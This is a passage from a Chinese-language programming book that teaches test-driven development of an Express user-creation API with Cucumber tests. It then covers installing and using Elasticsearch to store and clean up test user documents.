因此,我们需要捕获这个错误,以便提供正确的响应。错误处理也可以通过中间件来完成,但它们必须在其他中间件之后定义,即在最后。在错误处理器中间件中,我们需要检查抛出的错误是否由格式不正确的 JSON 有效负载引起,如果是,则发送我们之前定义的'Payload should be in JSON format'
响应。
尝试实现这个错误处理中间件;完成之后,比较你的src/index.js
文件与以下文件:
import '@babel/polyfill';
import express from 'express';
import bodyParser from 'body-parser';
const app = express();
app.use(bodyParser.json({ limit: 1e6 }));
app.post('/users', (req, res) => {
if (req.headers['content-length'] === '0') {
res.status(400);
res.set('Content-Type', 'application/json');
res.json({
message: 'Payload should not be empty',
});
return;
}
if (req.headers['content-type'] !== 'application/json') {
res.status(415);
res.set('Content-Type', 'application/json');
res.json({
message: 'The "Content-Type" header must always be "application/json"',
});
}
});
app.use((err, req, res, next) => {
if (err instanceof SyntaxError && err.status === 400 && 'body' in err && err.type === 'entity.parse.failed') {
res.status(400);
res.set('Content-Type', 'application/json');
res.json({ message: 'Payload should be in JSON format' });
return;
}
next();
});
app.listen(process.env.SERVER_PORT, () => {
// eslint-disable-next-line no-console
console.log(`Hobnob API server listening on port ${process.env.SERVER_PORT}!`);
});
现在,当我们运行我们的端到端测试时,它们都应该通过:
$ yarn run test:e2e
..................
3 scenarios (3 passed)
18 steps (18 passed)
我们现在已成功将我们的 API 迁移到 Express,并完成了我们的(漫长的)重构步骤。让我们将我们的辛勤工作提交到 Git 仓库:
$ git add -A
$ git commit -m "Migrate API to Express"
将通用逻辑移动到中间件
让我们看看我们如何进一步改进我们的代码。如果你检查我们的创建用户端点处理器,你可能会注意到其逻辑可以应用于所有请求。例如,如果一个请求携带有效负载,我们期望其Content-Type
头的值包含字符串application/json
,无论它击中哪个端点。因此,我们应该将这部分逻辑提取到中间件函数中,以最大化可重用性。具体来说,这些中间件应该执行以下检查:
-
如果一个请求使用
POST
、PUT
或PATCH
方法,它必须携带非空的有效负载。 -
如果一个请求包含非空的有效负载,它应该设置其
Content-Type
头。如果没有设置,则响应400 Bad Request
状态码。 -
如果一个请求设置了其
Content-Type
头,它必须包含字符串application/json
。如果没有,则响应415 Unsupported Media Type
状态码。
让我们将这些标准转换为 Cucumber/Gherkin 规范。由于这些是通用要求,我们应该在spec/cucumber/features/main.feature
中创建一个新文件,并在那里定义我们的场景。尝试自己完成;完成后,与以下解决方案进行比较:
Feature: General
Scenario Outline: POST, PUT and PATCH requests should have non-empty payloads
All POST, PUT and PATCH requests must have non-zero values for its "Content-Length" header
When the client creates a <method> request to /users
And attaches a generic empty payload
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says 'Payload should not be empty'
Examples:
| method |
| POST |
| PATCH |
| PUT |
Scenario: Content-Type Header should be set for requests with non-empty payloads
All requests which has non-zero values for its "Content-Length" header must have its "Content-Type" header set
When the client creates a POST request to /users
And attaches a generic non-JSON payload
But without a "Content-Type" header set
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says 'The "Content-Type" header must be set for requests with a non-empty payload'
Scenario: Content-Type Header should be set to application/json
All requests which has a "Content-Type" header must set its value to contain "application/json"
When the client creates a POST request to /users
And attaches a generic non-JSON payload
And sends the request
Then our API should respond with a 415 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says 'The "Content-Type" header must always be "application/json"'
当我们运行测试时,步骤“但没有设置Content-Type
头”显示为未定义;所以让我们实现它。这就像在 superagent 的request
对象上运行unset
方法一样简单:
When(/^without a (?:"|')([\w-]+)(?:"|') header set$/, function (headerName) {
this.request.unset(headerName);
});
运行测试并查看所有步骤现在都已定义,但其中一些失败了。红。绿。重构。我们现在处于红色阶段,所以让我们修改我们的应用程序代码,使其通过(绿色)。再次尝试自己完成它,完成后与我们的解决方案在这里进行比较:
...
function checkEmptyPayload(req, res, next) {
if (
['POST', 'PATCH', 'PUT'].includes(req.method)
&& req.headers['content-length'] === '0'
) {
res.status(400);
res.set('Content-Type', 'application/json');
res.json({
message: 'Payload should not be empty',
});
}
next();
}
function checkContentTypeIsSet(req, res, next) {
if (
req.headers['content-length']
&& req.headers['content-length'] !== '0'
&& !req.headers['content-type']
) {
res.status(400);
res.set('Content-Type', 'application/json');
res.json({ message: 'The "Content-Type" header must be set for requests with a non-empty payload' });
}
next();
}
function checkContentTypeIsJson(req, res, next) {
if (!req.headers['content-type'].includes('application/json')) {
res.status(415);
res.set('Content-Type', 'application/json');
res.json({ message: 'The "Content-Type" header must always be "application/json"' });
}
next();
}
app.use(checkEmptyPayload);
app.use(checkContentTypeIsSet);
app.use(checkContentTypeIsJson);
app.use(bodyParser.json({ limit: 1e6 }));
app.post('/users', (req, res, next) => { next(); });
...
重新运行我们的测试非常重要,以确保我们没有破坏现有的功能。在这种情况下,它们都应该通过。因此,我们唯一剩下的事情是将这次重构提交到我们的 Git 存储库:
$ git add -A
$ git commit -m "Move common logic into middleware functions"
验证我们的有效载荷
到目前为止,我们一直在编写测试来确保我们的请求是有效和格式良好的;换句话说,确保它们在语法上是正确的。接下来,我们将把重点转移到编写测试用例,这些测试用例将查看有效载荷对象本身,确保有效载荷具有正确的结构,并且是语义上正确的。
检查必填字段
在我们的要求中,我们指定,为了创建用户账户,客户端必须提供至少email
和password
字段。所以,让我们为这个写一个测试。
在我们的spec/cucumber/features/users/create/main.feature
文件中,添加以下场景概述:
Scenario Outline: Bad Request Payload
When the client creates a POST request to /users
And attaches a Create User payload which is missing the <missingFields> field
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "Payload must contain at least the email and password fields"
Examples:
| missingFields |
| email |
| password |
除了第二个步骤,“附加一个缺少<missingFields>
字段的创建用户有效载荷”之外,其他所有步骤都已实现。缺少的步骤应该附加一个虚拟用户有效载荷,然后删除指定的属性。尝试自己实现这个步骤定义的逻辑,并将其与以下解决方案进行比较:
When(/^attaches an? (.+) payload which is missing the ([a-zA-Z0-9, ]+) fields?$/, function (payloadType, missingFields) {
const payload = {
email: 'e@ma.il',
password: 'password',
};
const fieldsToDelete = missingFields.split(',').map(s => s.trim()).filter(s => s !== '');
fieldsToDelete.forEach(field => delete payload[field]);
this.request
.send(JSON.stringify(payload))
.set('Content-Type', 'application/json');
});
在步骤定义中,我们首先提取变量并将missingFields
字符串转换为数组。然后我们遍历这个数组,从有效载荷对象中删除每个属性。最后,我们将这个不完整的有效载荷作为有效载荷输入到请求中。
如果我们现在运行测试,它将失败。这是因为我们还没有在我们的创建用户处理程序中实现验证逻辑。再次尝试实现它,并在这里检查我们的解决方案:
// Inside the app.post('/users') callback
app.post('/users', (req, res, next) => {
if (
!Object.prototype.hasOwnProperty.call(req.body, 'email')
|| !Object.prototype.hasOwnProperty.call(req.body, 'password')
) {
res.status(400);
res.set('Content-Type', 'application/json');
res.json({ message: 'Payload must contain at least the email and password fields' });
}
next();
});
现在,我们所有的测试都将再次通过:
$ yarn run test:e2e
.............................................................
10 scenarios (10 passed)
61 steps (61 passed)
不要忘记将这些更改提交到 Git:
$ git add -A && git commit -m "Check Create User endpoint for missing fields"
检查属性类型
接下来,我们必须确保我们的email
和password
字段都是字符串类型,并且电子邮件地址格式正确。尝试为这个场景定义一个新的场景概述,并将其与以下解决方案进行比较:
Scenario Outline: Request Payload with Properties of Unsupported Type
When the client creates a POST request to /users
And attaches a Create User payload where the <field> field is not a <type>
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "The email and password fields must be of type string"
Examples:
| field | type |
| email | string |
| password | string |
再次运行测试并确认有一个步骤未定义。然后,尝试自己实现步骤定义,并检查以下解决方案:
When(/^attaches an? (.+) payload where the ([a-zA-Z0-9, ]+) fields? (?:is|are)(\s+not)? a ([a-zA-Z]+)$/, function (payloadType, fields, invert, type) {
const payload = {
email: 'e@ma.il',
password: 'password',
};
const typeKey = type.toLowerCase();
const invertKey = invert ? 'not' : 'is';
const sampleValues = {
string: {
is: 'string',
not: 10,
},
};
const fieldsToModify = fields.split(',').map(s => s.trim()).filter(s => s !== '');
fieldsToModify.forEach((field) => {
payload[field] = sampleValues[typeKey][invertKey];
});
this.request
.send(JSON.stringify(payload))
.set('Content-Type', 'application/json');
});
当我们运行测试时,它失败了,因为我们还没有实现我们的应用程序来处理该场景。所以,让我们现在通过在POST /users
请求处理器的末尾添加这个if
块来实现它:
if (
typeof req.body.email !== 'string'
|| typeof req.body.password !== 'string'
) {
res.status(400);
res.set('Content-Type', 'application/json');
res.json({ message: 'The email and password fields must be of type string' });
return;
}
现在,运行测试以查看它们通过,并将我们的更改提交到 Git:
$ git add -A && git commit -m "Check data type of Create User endpoint payload"
检查负载属性的格式
最后,电子邮件地址字段可能存在并且具有正确的数据类型,但它可能仍然不是一个有效的电子邮件地址。因此,最终的检查是确保电子邮件地址是有效的。你现在应该已经习惯了:在spec/cucumber/features/users/create/main.feature
中定义一个新特性,并在这里检查解决方案:
Scenario Outline: Request Payload with invalid email format
When the client creates a POST request to /users
And attaches a Create User payload where the email field is exactly <email>
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "The email field must be a valid email."
Examples:
| email |
| a238juqy2 |
| a@1.2.3.4 |
| a,b,c@!! |
注意,我们正在排除技术上有效的电子邮件地址(例如a@1.2.3.4
),但对我们来说,我们只想接受更“通用”的电子邮件地址(例如jane@gmail.com
)。
我们在这里检查多个示例,以增强我们对端点真正不会接受无效电子邮件的信心。理论上,我们定义的示例越多,越好,因为它增加了我们对功能的信心。然而,端到端测试运行时间相对较长;因此,我们必须在信心和速度之间找到平衡。在这里,我们指定了三个足够多样化的示例,应该覆盖大多数场景。
接下来,让我们定义步骤定义:
When(/^attaches an? (.+) payload where the ([a-zA-Z0-9, ]+) fields? (?:is|are) exactly (.+)$/, function (payloadType, fields, value) {
const payload = {
email: 'e@ma.il',
password: 'password',
};
const fieldsToModify = fields.split(',').map(s => s.trim()).filter(s => s !== '');
fieldsToModify.forEach((field) => {
payload[field] = value;
});
this.request
.send(JSON.stringify(payload))
.set('Content-Type', 'application/json');
});
运行测试并观察它们失败。然后,实现以下应用程序代码以使它们通过:
if (!/^[\w.+]+@\w+\.\w+$/.test(req.body.email)) {
res.status(400);
res.set('Content-Type', 'application/json');
res.json({ message: 'The email field must be a valid email.' });
return;
}
再次运行测试,确保它们全部通过,然后提交你的代码:
$ git add -A && git commit -m "Check validity of email for Create User endpoint"
重构我们的步骤定义
红色、绿色、重构。现在所有测试都通过了,是时候重构我们的代码了。
我们的应用程序代码虽然有些重复,但易于理解和阅读;因此,我们现在不需要重构它。然而,我们可以在测试代码中做一些改进。例如,我们在测试中将创建用户的负载硬编码到测试中;如果将其抽象成一个函数,在调用时生成负载会更好。
我们将创建一个新的spec/cucumber/steps/utils.js
文件来存放我们的实用/支持代码。将以下内容添加到utils.js
文件中:
function getValidPayload(type) {
const lowercaseType = type.toLowerCase();
switch (lowercaseType) {
case 'create user':
return {
email: 'e@ma.il',
password: 'password',
};
default:
return undefined;
}
}
function convertStringToArray(string) {
return string
.split(',')
.map(s => s.trim())
.filter(s => s !== '');
}
export {
getValidPayload,
convertStringToArray,
};
导入它并在我们的测试代码中使用它。例如,When(/^attaches an? (.+) payload where the ([a-zA-Z0-9, ]+) fields? (?:is|are) exactly (.+)$/)
步骤定义将变成这样:
import { getValidPayload, convertStringToArray } from './utils';
...
When(/^attaches an? (.+) payload where the ([a-zA-Z0-9, ]+) fields? (?:is|are) exactly (.+)$/, function (payloadType, fields, value) {
this.requestPayload = getValidPayload(payloadType);
const fieldsToModify = convertStringToArray(fields);
fieldsToModify.forEach((field) => {
this.requestPayload[field] = value;
});
this.request
.send(JSON.stringify(this.requestPayload))
.set('Content-Type', 'application/json');
});
对所有其他使用特定端点负载的步骤定义都这样做。之后,再次运行测试并确保它们仍然全部通过(因为重构不应该修改功能),然后提交更改到 Git:
$ git add -A && git commit -m "Refactor test code"
测试成功场景
我们已经涵盖了几乎所有边缘情况。现在,我们必须实现一个快乐路径场景,即我们的端点按预期被调用,并且我们实际上正在创建用户并将其存储在我们的数据库中。
让我们继续使用相同的过程,并首先定义一个场景:
Scenario: Minimal Valid User
When the client creates a POST request to /users
And attaches a valid Create User payload
And sends the request
Then our API should respond with a 201 HTTP status code
And the payload of the response should be a string
And the payload object should be added to the database, grouped under the "user" type
除了第二步、第五步和最后一步之外,所有步骤都已定义。第二步可以通过使用我们的getValidPayload
方法来获取一个有效的有效载荷来实现,如下所示:
When(/^attaches a valid (.+) payload$/, function (payloadType) {
this.requestPayload = getValidPayload(payloadType);
this.request
.send(JSON.stringify(this.requestPayload))
.set('Content-Type', 'application/json');
});
第五步是我们已经定义的Then('the payload of the response should be a JSON object')
步骤定义的一个变体,因此我们可以简单地修改它使其更通用:
Then(/^the payload of the response should be an? ([a-zA-Z0-9, ]+)$/, function (payloadType) {
const contentType = this.response.headers['Content-Type'] || this.response.headers['content-type'];
if (payloadType === 'JSON object') {
// Check Content-Type header
if (!contentType || !contentType.includes('application/json')) {
throw new Error('Response not of Content-Type application/json');
}
// Check it is valid JSON
try {
this.responsePayload = JSON.parse(this.response.text);
} catch (e) {
throw new Error('Response not a valid JSON object');
}
} else if (payloadType === 'string') {
// Check Content-Type header
if (!contentType || !contentType.includes('text/plain')) {
throw new Error('Response not of Content-Type text/plain');
}
// Check it is a string
this.responsePayload = this.response.text;
if (typeof this.responsePayload !== 'string') {
throw new Error('Response not a string');
}
}
});
然而,对于最后一步,我们实际上需要一个数据库来写入。但在这个章节中,我们已经取得了很大的进展。所以,让我们回顾一下到目前为止我们所做的一切,并在下一章中设置一个数据库!
摘要
在这一章中,我们强迫你遵循 TDD 原则来开发你的应用程序。我们使用了 Cucumber 和 Gherkin 来编写我们的端到端测试,并使用它来驱动我们第一个端点的实现。作为我们重构工作的部分,我们还迁移了我们的 API 以使用 Express 框架。
到目前为止,你应该已经将 TDD 过程深深印在你的脑海中:红。绿。重构。首先,编写测试场景,实现任何未定义的步骤,然后运行测试并观察它们失败,最后实现应用程序代码使它们通过。一旦测试通过,就在适当的地方进行重构。重复此过程。
重要的是要记住,TDD 并不要求有自测试的代码。即使不遵循 TDD,你仍然可以在之后编写测试来验证行为和捕获错误。TDD 的重点是将你的系统设计转化为一系列具体的要求,并使用这些要求来驱动你的开发。测试是一种前瞻性思维,而不是事后思考。
在下一章中,我们将实现我们 E2E 测试的最后一步,设置 Elasticsearch 并使用它来持久化我们的用户数据。
第六章:在 Elasticsearch 中存储数据
在上一章中,我们通过遵循 TDD 流程并首先编写所有端到端测试用例来开发了大部分的创建用户功能。最后一部分是实际上将用户数据持久化到数据库中。
在本章中,我们将在本地开发机器上安装和运行 ElasticSearch,并将其用作我们的数据库。然后,我们将实现我们最后剩余的步骤定义,使用它来驱动我们的应用程序代码的开发。具体来说,我们将涵盖以下内容:
-
安装 Java 和 Elasticsearch
-
理解 Elasticsearch 概念,例如 索引、类型和文档
-
使用 Elasticsearch JavaScript 客户端完成我们的创建用户端点
-
编写一个 Bash 脚本来使用单个命令运行我们的端到端测试
Elasticsearch 简介
那么,Elasticsearch 是什么呢?首先,Elasticsearch 不应被视为一个单一、一维的工具。相反,它是一套工具,包括一个分布式数据库、一个全文搜索引擎,以及一个分析引擎。在本章中,我们将重点关注“数据库”部分,稍后处理“分布式”和“全文搜索”部分。
在其核心,Elasticsearch 是一个针对 Apache Lucene 的高级抽象层,Apache Lucene 是一个全文搜索引擎。Lucene 可以说是最强大的全文搜索引擎之一;它被 Apache Solr 使用,另一个类似于 Elasticsearch 的搜索平台。然而,Lucene 非常复杂,入门门槛高;因此,Elasticsearch 将这种复杂性抽象成 RESTful API。
我们可以直接使用 Java 与 Lucene 交互,而不是发送 HTTP 请求到 API。此外,Elasticsearch 还提供了许多特定语言的客户端,它们将 API 进一步抽象成包装良好的对象和方法。我们将使用 Elasticsearch 的 JavaScript 客户端来与我们的数据库交互。
你可以在 www.elastic.co/guide/en/elasticsearch/client/javascript-api/current/api-reference.html
找到最新 JavaScript 客户端的文档。
Elasticsearch 与其他分布式文档存储的比较
对于简单的文档存储,你通常会选择一个通用数据库,如 MongoDB,并存储规范化的数据。
规范化是通过确保数据结构组件是原子元素来减少数据冗余并提高数据完整性的过程。
反规范化是通过引入数据冗余以获得其他好处的过程,例如性能。
然而,在规范化数据上搜索效率极低。因此,为了执行全文搜索,你通常会反规范化数据并将其复制到更专业的数据库,如 Elasticsearch。
因此,在大多数设置中,您可能需要运行两个不同的数据库。然而,在这本书中,我们将使用 Elasticsearch 进行数据存储和搜索,以下是一些原因:
-
这本书的页数有限
-
在 MongoDB 与 Elasticsearch 同步方面的工具还不够成熟
-
我们的数据需求非常基础,所以这不会造成太大的差异
安装 Java 和 Elasticsearch
首先,让我们安装 Elasticsearch 和其依赖项。Apache Lucene 和 Elasticsearch 都是用 Java 编写的,因此我们必须首先安装 Java。
安装 Java
当您安装 Java 时,通常意味着以下两种情况之一:您正在安装 Java 运行时环境(JRE)或 Java 开发工具包(JDK)。JRE 提供了运行 Java 程序所需的运行时,而 JDK 包含了 JRE 以及其他工具,允许您在 Java 中进行开发。
我们将在这里安装 JDK,但为了使事情更加复杂,JDK 有不同的实现——OpenJDK、Oracle Java、IBM Java——我们将使用的是随 Ubuntu 安装提供的 default-jdk
APT 软件包:
$ sudo apt update
$ sudo apt install default-jdk
接下来,我们需要设置一个系统级别的环境变量,以便其他使用 Java 的程序(例如 Elasticsearch)知道它的位置。运行以下命令以获取 Java 安装列表:
$ sudo update-alternatives --config java
There is only one alternative in link group java (providing /usr/bin/java): /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java
Nothing to configure.
对于我的机器,只有一个 Java 安装,位于 /usr/lib/jvm/java-8-openjdk-amd64/
。然而,如果您机器上有多个 Java 版本,您将被提示选择您喜欢的版本:
$ sudo update-alternatives --config java
There are 2 choices for the alternative java (providing /usr/bin/java).
Selection Path Priority Status
------------------------------------------------------------
* 0 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1101 auto mode
1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1101 manual mode
2 /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java 1081 manual mode
Press <enter> to keep the current choice[*], or type selection number:
接下来,打开 /etc/environment
文件并添加 JAVA_HOME
环境变量的路径:
JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"
JAVA_HOME
将在用户登录时为任何用户设置;要立即应用更改,我们需要源文件:
$ . /etc/environment
$ echo $JAVA_HOME
/usr/lib/jvm/java-8-openjdk-amd64
安装和启动 Elasticsearch
前往 elastic.co/downloads/elasticsearch 并下载适合您机器的最新 Elasticsearch 版本。对于 Ubuntu,我们可以下载官方的 .deb
软件包并使用 dpkg
进行安装:
$ sudo dpkg -i elasticsearch-6.3.2.deb
您的 Elasticsearch 版本可能与这里的不同。这没关系。
接下来,我们需要配置 Elasticsearch 以使用我们刚刚安装的 Java 版本。我们已经为整个系统做了这件事,但 Elasticsearch 也有自己的配置文件来指定 Java 二进制文件的路径。打开 /etc/default/elasticsearch
文件并添加一个 JAVA_HOME
变量的条目,就像之前做的那样:
# Elasticsearch Java path
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
现在,我们可以开始使用 Elasticsearch 了!Elasticsearch 作为服务安装,因此我们可以使用 systemctl
来启动和停止它:
sudo systemctl start elasticsearch.service
sudo systemctl stop elasticsearch.service
为了简化开发,我们可以通过启用它来让 Elasticsearch 在系统重启时自动启动:
sudo systemctl daemon-reload
sudo systemctl enable elasticsearch.service
现在,我们可以使用 systemctl
检查 Elasticsearch 是否正在运行:
$ sudo systemctl start elasticsearch.service
$ sudo systemctl status elasticsearch.service
● elasticsearch.service - Elasticsearch
Loaded: loaded (/usr/lib/systemd/system/elasticsearch.service; enabled; vendo
Active: active (running) since Wed 2017-12-27 17:52:06 GMT; 4s ago
Docs: http://www.elastic.co
Main PID: 20699 (java)
Tasks: 42 (limit: 4915)
Memory: 1.1G
CPU: 12.431s
CGroup: /system.slice/elasticsearch.service
└─20699 /usr/lib/jvm/java-8-openjdk-amd64/bin/java -Xms1g -Xmx1g -XX:
Dec 27 17:52:06 nucleolus systemd[1]: Started Elasticsearch.
或者,一个更直接的方法就是向 Elasticsearch 默认端口 9200
发送查询:
$ curl 'http://localhost:9200/?pretty'
{
"name" : "6pAE96Q",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "n6vLxwydTmeN4H6rX0tqlA",
"version" : {
"number" : "6.3.2",
"build_date" : "2018-07-20T05:20:23.451332Z",
"lucene_version" : "7.3.1"
},
"tagline" : "You Know, for Search"
}
我们收到了回复,这意味着 Elasticsearch 正在您的机器上运行!
理解 Elasticsearch 的关键概念
我们很快就会向 Elasticsearch 发送查询,但如果我们理解一些基本概念会很有帮助。
Elasticsearch 是一个 JSON 文档存储
如您可能已经从我们的 API 调用响应体中注意到,Elasticsearch 以JavaScript 对象表示法(JSON)格式存储数据。这使得开发者能够存储比关系型数据库强加的具有更复杂(通常是嵌套)结构的对象,后者具有行和表的扁平结构。
这并不是说文档数据库比关系型数据库更好,或者反之亦然;它们是不同的,它们的适用性取决于它们的使用。
文档与关系数据存储对比
例如,你的应用程序可能是一个学校目录,存储有关学校、用户(包括教师、员工、家长和学生)、考试、教室、班级以及它们之间关系的信息。鉴于数据结构可以保持相对扁平(即,主要是简单的键值条目),关系型数据库将是最合适的。
另一方面,如果你正在构建一个社交网络,并想存储用户的设置,文档数据库可能更适合。这是因为设置可能相当复杂,例如这里所示:
{
"profile": {
"firstName": "",
"lastName": "",
"avatar": "",
"cover": "",
"color": "#fedcab"
},
"active": true,
"notifications": {
"email": {
"disable": false,
"like": true,
"comment": true,
"follow": true
},
"app": {
"disable": false,
"like": true,
"comment": true,
"follow": true }
}};
在关系型数据库中,你必须为列(例如settings.notification.app.follow
)建立命名约定,以便保留层次信息。然而,要使用这些设置,你必须手动在可以处理它之前重建对象。每次检索条目时都需要这样做。
将此用户信息作为文档存储允许你以对象本身的形式存储它们,保留其结构,并且可以以它们本身的形式检索它们,而无需进行额外的工作。
几个关系型数据库已经开始允许用户将文档作为值存储。例如,从 MySQL 5.7 开始,你可以存储无模式的文档。
然而,如果你的意图是以非关系型方式结构化你的数据,那么从一开始就使用一个 NoSQL 数据库会更好。我建议只有在你有现有数据并且在其之上添加新的数据结构时,才将文档存储在传统的数据库中。
理解索引、类型、文档和版本
在 Elasticsearch 中,每个文档都由四个属性唯一标识:其索引、类型、ID和版本。
相关文档应存储在同一个索引下。虽然不完全相同,但索引在关系型数据库中类似于数据库。例如,我们用户目录 API 中使用的所有文档可能都存储在directory
索引中,或者由于我们的平台名为 Hobnob,我们也可以将我们的索引命名为hobnob
。
存储在索引内的文档必须属于某个类型。对于我们的用户目录 API,你可能有一些属于person
和company
类型的文档。虽然不完全相同,但类型在关系型数据库中类似于表。
每个文档也必须有一个 ID 和版本。每当以任何方式修改文档时,其版本都会增加一定量(通常是 1
)。
Elasticsearch 不存储文档的旧版本。版本计数器存在是为了允许我们执行 并发更新 和 乐观锁定(稍后详细介绍这些技术)。
从端到端测试中查询 Elasticsearch
我们现在在 Elasticsearch 中拥有了实现最后未定义步骤定义所需的所有知识,该步骤定义从数据库读取以查看我们的用户文档是否已正确索引。我们将使用 JavaScript 客户端,它只是 REST API 的包装器,与其端点一对一映射。因此,首先,让我们安装它:
$ yarn add elasticsearch
接下来,将包导入到我们的 spec/cucumber/steps/index.js
文件中,并创建一个 elasticsearch.Client
实例:
const client = new elasticsearch.Client({
host: `${process.env.ELASTICSEARCH_PROTOCOL}://${process.env.ELASTICSEARCH_HOSTNAME}:${process.env.ELASTICSEARCH_PORT}`,
});
默认情况下,Elasticsearch 在端口 9200
上运行。然而,为了避免硬编码的值,我们明确传递了一个选项对象,指定了 host
选项,其值来自环境变量。为了使这生效,请将这些环境变量添加到我们的 .env
和 .env.example
文件中:
ELASTICSEARCH_PROTOCOL=http
ELASTICSEARCH_HOSTNAME=localhost
ELASTICSEARCH_PORT=9200
要查看 elasticsearch.Client
构造函数接受的选项的完整列表,请查看 elastic.co/guide/en/elasticsearch/client/javascript-api/current/configuration.html。
如我们的 Cucumber 测试场景中指定,我们需要创建用户端点返回一个字符串,我们将其存储在 this.responsePayload
中。这应该是用户的 ID。因此,如果我们可以使用此 ID 再次找到用户文档,这意味着文档在数据库中,我们已经完成了我们的特性。
要通过 ID 查找文档,我们可以使用 Elasticsearch 客户端的 get
方法,该方法将根据其 ID 从索引中获取一个类型化的 JSON 文档。Elasticsearch 客户端中的所有方法都是异步的——如果我们提供了一个回调,它将调用该回调;否则,它将返回一个承诺。
Elasticsearch 的结果将具有以下结构:
{ _index: <index>,
_type: <type>,
_id: <id>,
_version: <version>,
found: true,
_source: <document> }
_source
属性包含实际的文档。为了确保它与请求中发送的相同,我们可以使用 Node 的 assert
模块的 deepEqual
方法来比较 _source
文档与 this.requestPayload
。
根据这些信息,尝试自己实现最终步骤定义,并在此处查看答案:
Then(/^the payload object should be added to the database, grouped under the "([a-zA-Z]+)" type$/, function (type, callback) {
client.get({
index: 'hobnob',
type,
id: this.responsePayload,
}).then((result) => {
assert.deepEqual(result._source, this.requestPayload);
callback();
}).catch(callback);
});
ESLint 可能会抱怨 _source
违反了 no-underscore-dangle
规则。传统上,标识符中的下划线用于表示变量或方法应该是“私有的”,但由于 JavaScript 中没有真正的私有变量,这种约定非常具有争议性。
然而,我们在这里使用的是 Elasticsearch 客户端,这是它们的约定。因此,我们应该在项目级别的 .eslintrc
文件中添加一个规则来禁用此规则。
再次运行测试,应该不再有未定义的步骤定义。但是,它仍然失败,因为我们还没有在我们的src/index.js
中实现实际的成功场景。所以,让我们开始吧!
将文档索引到 Elasticsearch
在src/index.js
中,导入 Elasticsearch 库并像之前一样初始化客户端;然后在POST /users
的请求处理器中,使用 Elasticsearch JavaScript 客户端的index
方法将有效负载对象添加到 Elasticsearch 索引中:
import elasticsearch from 'elasticsearch';
const client = new elasticsearch.Client({
host: `${process.env.ELASTICSEARCH_PROTOCOL}://${process.env.ELASTICSEARCH_HOSTNAME}:${process.env.ELASTICSEARCH_PORT}`,
});
...
app.post('/users', (req, res, next) => {
...
client.index({
index: 'hobnob',
type: 'user',
body: req.body
})
}
index
方法返回一个承诺,它应该解析为类似以下内容:
{ _index: 'hobnob',
_type: 'users',
_id: 'AV7HyAlRmIBlG9P7rgWY',
_version: 1,
result: 'created',
_shards: { total: 2, successful: 1, failed: 0 },
created: true }
我们可以向客户端返回的唯一有用且相关的信息是新自动生成的_id
字段。因此,我们应该提取该信息,并使函数返回一个承诺,该承诺解析为仅_id
字段值。作为最后的手段,返回一个500 内部服务器错误
,以向客户端表明他们的请求是有效的,但我们的服务器遇到了一些问题:
client.index({
index: 'hobnob',
type: 'user',
body: req.body,
}).then((result) => {
res.status(201);
res.set('Content-Type', 'text/plain');
res.send(result._id);
}).catch(() => {
res.status(500);
res.set('Content-Type', 'application/json');
res.json({ message: 'Internal Server Error' });
});
现在,我们的端到端测试应该全部通过!
清理测试后的工作
当我们运行测试时,它将用户文档索引到我们的本地开发数据库。经过多次运行,我们的数据库将充满大量测试用户文档。理想情况下,我们希望所有测试都是自包含的。这意味着每次测试运行时,我们应该将数据库的状态重置到测试运行之前的状态。为了实现这一点,我们必须对我们的测试代码进行两项进一步的修改:
-
在我们做出必要的断言后删除测试用户
-
在测试数据库上运行测试;在 Elasticsearch 的情况下,我们可以简单地为我们的测试使用不同的索引
删除我们的测试用户
首先,在 Cucumber 规范的特征列表中添加一个新条目:
...
And the payload of the response should be a string
And the payload object should be added to the database, grouped under the "user" type
And the newly-created user should be deleted
接下来,为这个步骤定义相应的步骤定义。但首先,我们将修改索引文档的步骤定义,并将其更改为在上下文中持久化文档类型:
Then(/^the payload object should be added to the database, grouped under the "([a-zA-Z]+)" type$/, function (type, callback) {
this.type = type;
client.get({
index: 'hobnob'
type: type,
id: this.responsePayload
})
...
});
然后,添加一个新的步骤定义,该定义使用client.delete
通过 ID 删除文档:
Then('the newly-created user should be deleted', function () {
client.delete({
index: 'hobnob',
type: this.type,
id: this.responsePayload,
});
});
delete
方法的输出看起来像这样:
{ _index: 'hobnob',
_type: 'user',
_id: 'N2hWu2ABiAD9b15yOZTt',
_version: 2,
result: 'deleted',
_shards: { total: 2, successful: 1, failed: 0 },
_seq_no: 4,
_primary_term: 2 }
成功操作将将其result
属性设置为'deleted'
;因此,我们可以用它来断言步骤是否成功。更新步骤定义如下:
Then('the newly-created user should be deleted', function (callback) {
client.delete({
index: 'hobnob',
type: this.type,
id: this.responsePayload,
}).then(function (res) {
assert.equal(res.result, 'deleted');
callback();
}).catch(callback);
});
运行测试并确保它们通过。我们现在已经实现了我们的快乐路径/成功场景,所以现在是时候提交我们的更改:
$ git add -A && git commit -m "Implement Create User success scenario"
提高我们的测试体验
尽管我们现在正在清理自己的事情,但使用相同的索引进行测试和开发并不理想。相反,我们应该为开发使用一个索引,为测试使用另一个索引。
在测试数据库中运行测试
对于我们的项目,让我们在开发时使用索引名称 hobnob
,在测试时使用 test
。我们不需要将索引名称硬编码到我们的代码中,可以使用环境变量来动态设置它。因此,在我们的应用程序和测试代码中,将所有 index: 'hobnob'
的实例替换为 index: process.env.ELASTICSEARCH_INDEX
。
目前,我们正在使用 dotenv-cli
包来加载我们的环境变量。实际上,该包还提供了一个 -e
标志,允许我们加载多个文件。这意味着我们可以在 .env
文件中存储默认环境变量,并创建一个新的 test.env
来存储特定于测试的环境变量,这将覆盖默认值。
因此,将以下行添加到我们的 .env
文件中:
ELASTICSEARCH_INDEX=hobnob
然后,创建两个新文件——test.env
和 test.env.example
——并添加以下行:
